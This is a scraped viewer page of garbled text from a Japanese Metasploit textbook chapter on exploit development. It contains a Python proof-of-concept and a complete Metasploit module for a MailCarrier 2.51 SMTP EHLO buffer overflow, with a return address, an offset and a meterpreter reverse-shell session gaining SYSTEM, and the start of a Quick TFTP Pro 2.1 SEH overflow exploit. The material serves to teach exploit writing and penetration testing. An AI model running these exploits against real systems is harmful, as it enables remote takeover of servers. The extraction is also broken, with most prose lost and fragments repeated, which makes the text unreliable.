Metasploit 2012.indb

Size: px

Start display at page:

Download "Metasploit 2012.indb"

あかりしのしま
5 years ago
Views:

1 Metasploit Framework Metasploit Framework Metasploit Framework Perl Python C C++ Metasploit Python Perl Metasploit Framework Framework OS Framework 2 Framework Framework EIP ESP レジスタ 2 EIP Exted Instruction Pointer ESP Exted Stack Pointer

2 Metasploit Framework EIP EIP ESP ESP JMP JMP 命令セット ESP ESP JMP ESP NOP NOP NOP NOP 16 x90 NOPスライド NOP JMP ESP NOP 15.2 ESP JMP ESP MailCarrier 2.51 SMTP EHLO / HELO Buffer Overflow Exploit MailCarrier 2.51 SMTP MailCarrier Windows 2000 Metasploit Framework 1, pdf/13535/ Exploit Writing Tutorial Part 1: Stack Based Overflows PoC Proof of Concept

3 EIP AAAA PoC #!/usr/bin/python ######################################################### # MailCarrier 2.51 SMTP EHLO / HELO Buffer Overflow # # Advanced, secure and easy to use Mail Server. # # 23 Oct muts # ######################################################### import struct import socket print " n n###############################################" print " nmailcarrier 2.51 SMTP EHLO / HELO Buffer Overflow" print " nfound & coded by muts at] whitehat.co.il" print " nfor Educational Purposes Only! n" print " n n###############################################" s = socket.socket(socket.af_inet, socket.sock_stream) buffer = " x41" * 5093 buffer += " 42" * 4 buffer += " x90" * 32 buffer += " xcc" * 1000 try: print " nsing evil buffer..." s.connect((' ',25)) s.s('ehlo ' + buffer + ' r n') data = s.recv(1024) s.close() print " ndone!" except: print "Could not connect to SMTP!" Metasploit Framework MailCarrier Metasploit require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking ❶ include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info,

4 Metasploit Framework 'Name' => 'TABS MailCarrier v2.51 SMTP EHLO Overflow', 'Description' => %q{ This module exploits the MailCarrier v2.51 suite SMTP service. The stack is overwritten when sing an overly long EHLO command. 'Author' => 'Your Name' 'Arch' => ARCH_X86 'License' => MSF_LICENSE, 'Version' => '$Revision: 7724 $', 'References' => 'CVE', ' ' 'OSVDB', '11174' 'BID', '11535' 'URL', ' 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'Payload' => { 'Space' => 1000, 'BadChars' => " x00 x0a x0d x3a", 'StackAdjustment' => -3500, 'Platform' => 'win' 'Targets' => ❷ 'Windows XP SP2 - Japanese', { 'Ret' => 0xdeadbeef } 'DisclosureDate' => 'Oct ', 'DefaultTarget' => 0)) register_options( ❸ Opt::RPORT(25), Opt::LHOST(), # Required for stack offset self.class) def exploit connect ❹ sock.put(sploit + " r n") sock.get_once handler disconnect ❶ Msf::Exploit::Remote::Tcp

5 Remote::Tcp TCP ❷ 0xdeadbeef ❸ TCP 25 Metasploit ❹ sock.put EIP NOP def exploit connect ❶ sploit = "EHLO " ❷ sploit << " x41" * 5093 ❸ sploit << " x42" * 4 ❹ sploit << " x90" * 32 ❺ sploit << " xcc" * 1000 sock.put(sploit + " r n") sock.get_once handler disconnect ❶ EHLO ❷ 5,093 A ❸ EIP 4 ❹ NOP ❺ ❺ mailcarrier_book.rb modules/ exploits/windows/smtp/ msfconsole generic/debug_trapの msf > use exploit/windows/smtp/mailcarrier_book

6 Metasploit Framework msf exploit(mailcarrier_book) > show options Module options (exploit/windows/smtp/mailcarrier_book): Name Current Setting Required Description LHOST yes The listen address RHOST yes The target address RPORT 25 yes The target port Exploit target: Id Name Windows XP SP2 - EN msf exploit(mailcarrier_book) > set LHOST LHOST => msf exploit(mailcarrier_book) > set RHOST RHOST => ❶ msf exploit(mailcarrier_book) > set payload generic/debug_trap payload => generic/debug_trap msf exploit(mailcarrier_book) > exploit *] Exploit completed, but no session was created. msf exploit(mailcarrier_book) > generic/debug_trap ❶ 図 EIP EIP x41 5,093 EIP EIP NOP Framework EIP Framework 'Targets' JMP ESP Windows XP SP2 SHELL32.DLL OS OS SHELL32.DLL JMP ESP Windows DLL Windows

15.2 245 図 15-1 MailCarrier の最初の上書き 'Targets' => 'Windows XP SP2 - Japanese', { 'Ret' => 0x77b28eb3 } Metasploit

7 図 15-1 MailCarrier の最初の上書き 'Targets' => 'Windows XP SP2 - Japanese', { 'Ret' => 0x77b28eb3 } Metasploit target'ret']].pack('v') CPU OS OS SHELL32.DLL Back Track Msfpescan -j esp SHELL32.DLL SHELL32.DLL JMP ESP 'Targets'

246 15 Metasploit Framework Framework sploit = "EHLO "

8 Metasploit Framework Framework sploit = "EHLO " sploit << " x41" * 5093 sploit << target'ret']].pack('v') sploit << " x90" * 32 sploit << " xcc" * 1000 図 15-2 INT3 図 15-2 ダミーのシェルコードへのジャンプが成功しエクスプロイトにより配置された INT3 命令に制御が渡っている A

9 super 'Targets' EIP 'Targets' => ❶ 'Windows XP SP2 - Japanese', { 'Ret' => 0x77b28eb3, 'Offset' => 5093 } ❶ Offset A OS 5,093 A Metasploit rand_ text_alpha_upper /opt/framework/msf3/lib/rex/ Back Track text.rb sploit = "EHLO " sploit << rand_text_alpha_upper(target'offset']) sploit << target'ret']].pack('v') sploit << " x90" * 32 sploit << " xcc" * 1000 A NOP NOP 1 x90 NOP Metasploit NOP make_ nops() sploit = "EHLO " sploit << rand_text_alpha_upper(target'offset']) sploit << target'ret']].pack('v') sploit << make_nops(32) sploit << " xcc" * 1000 INT3 NOP 図 15-3

248 15 Metasploit Framework 図 15-3 ランダム化された MailCarrier のバッファ 15.2.7 super sploit = "EHLO " sploit << rand_text_alpha_upper(target'offset']) sploit << target'ret']].

10 Metasploit Framework 図 15-3 ランダム化された MailCarrier のバッファ super sploit = "EHLO " sploit << rand_text_alpha_upper(target'offset']) sploit << target'ret']].pack('v') sploit << make_nops(32) sploit << payload.encoded Metasploit payload.encoded msf exploit(mailcarrier_book) > set payload windows/meterpreter/reverse_tcp

11 payload => windows/meterpreter/reverse_tcp msf exploit(mailcarrier_book) > rexploit *] Reloading module... *] Started reverse handler on :4444 *] Sing stage ( bytes) to *] Meterpreter session 1 opened ( :4444 -> :1072) at :48: meterpreter > getuid Server username: NT AUTHORITY SYSTEM meterpreter > Metasploit require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'TABS MailCarrier v2.51 SMTP EHLO Overflow', 'Description' => %q{ This module exploits the MailCarrier v2.51 suite SMTP service. The stack is overwritten when sing an overly long EHLO command. 'Author' => 'Your Name' 'Arch' => ARCH_X86 'License' => MSF_LICENSE, 'Version' => '$Revision: 7724 $', 'References' => 'CVE', ' ' 'OSVDB', '11174' 'BID', '11535' 'URL', ' 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'Payload' => { 'Space' => 1000, 'BadChars' => " x00 x0a x0d x3a", 'StackAdjustment' => -3500, 'Platform' => 'win' 'Targets' =>

12 Metasploit Framework 'Windows XP SP2 - Japanese', { 'Ret' => 0x77b28eb3, 'Offset' => 5093 } 'DisclosureDate' => 'Oct ', 'DefaultTarget' => 0)) register_options( Opt::RPORT(25), Opt::LHOST(), # Required for stack offset self.class) def exploit connect sploit = "EHLO " sploit << rand_text_alpha_upper(target'offset']) sploit << target'ret']].pack('v') sploit << make_nops(32) sploit << payload.encoded sock.put(sploit + " r n") sock.get_once handler disconnect Metasploit 15.3 SEH Quick TFTP Pro 2.1 Structured Exception Handler SEH Metasploit SEH SEH POP-POP-RETN POP-POP-RETN SEH POP 1 2 POP

13 15.3 SEH 251 RETN SEH _pdf/10195/ Quick TFTP Pro 2.1 Muts Metasploit Metasploit #!/usr/bin/python # Quick TFTP Pro 2.1 SEH Overflow (0day) # Tested on Windows XP SP2. # Coded by Mati Aharoni # muts..at..offensive-security.com # ######################################################### import socket import sys print "*] Quick TFTP Pro 2.1 SEH Overflow (0day)" print "*] host = ' ' port = 69 try: s = socket.socket(socket.af_inet, socket.sock_dgram) except: print "socket() failed" sys.exit(1) filename = "pwnd" shell = " xcc" * 317 mode = "A"*1019+" xeb x08 x90 x90"+" x58 x14 xd3 x74"+" x90"*16+shell muha = " x00 x02" + filename+ " 0" + mode + " 0" print "*] Sing evil packet, ph33r" s.sto(muha, (host, port)) print "*] Check port 4444 for bindshell" JMP ESP

14 Metasploit Framework require 'msf/core' class Metasploit3 < Msf::Exploit::Remote ❶ include Msf::Exploit::Remote::Udp ❷ include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Quick TFTP Pro 2.1 Long Mode Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in Quick TFTP Pro 2.1. 'Author' => 'Your Name', 'Version' => '$Revision: 7724 $', 'References' => 'CVE', ' ' 'OSVDB', '43784' 'URL', ' 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'Payload' => { 'Space' => 412, 'BadChars' => " x00 x20 x0a x0d", 'StackAdjustment' => -3500, 'Platform' => 'win', 'Targets' => 'Windows XP SP2 Japanese', { 'Ret' => 0x } 'Privileged' => true, 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar ')) ❸register_options(Opt::RPORT(69) self.class) def exploit connect_udp print_status("trying target #{target.name}...") ❹udp_sock.put(sploit) disconnect_udp

Metasploit 2012.indb

Metasploit 2012.indb 7 2 Metasploit Metasploit Framework MSF Metasploit Metasploit 2 Metasploit Metasploit 2.1 Metasploit 2.1.1 エクスプロイト Web SQL 2.1.2 Framework リバースシェル Windows 5 バインドシェル 8 2 Metasploit OS 2.1.3 シェルコード Meterpreter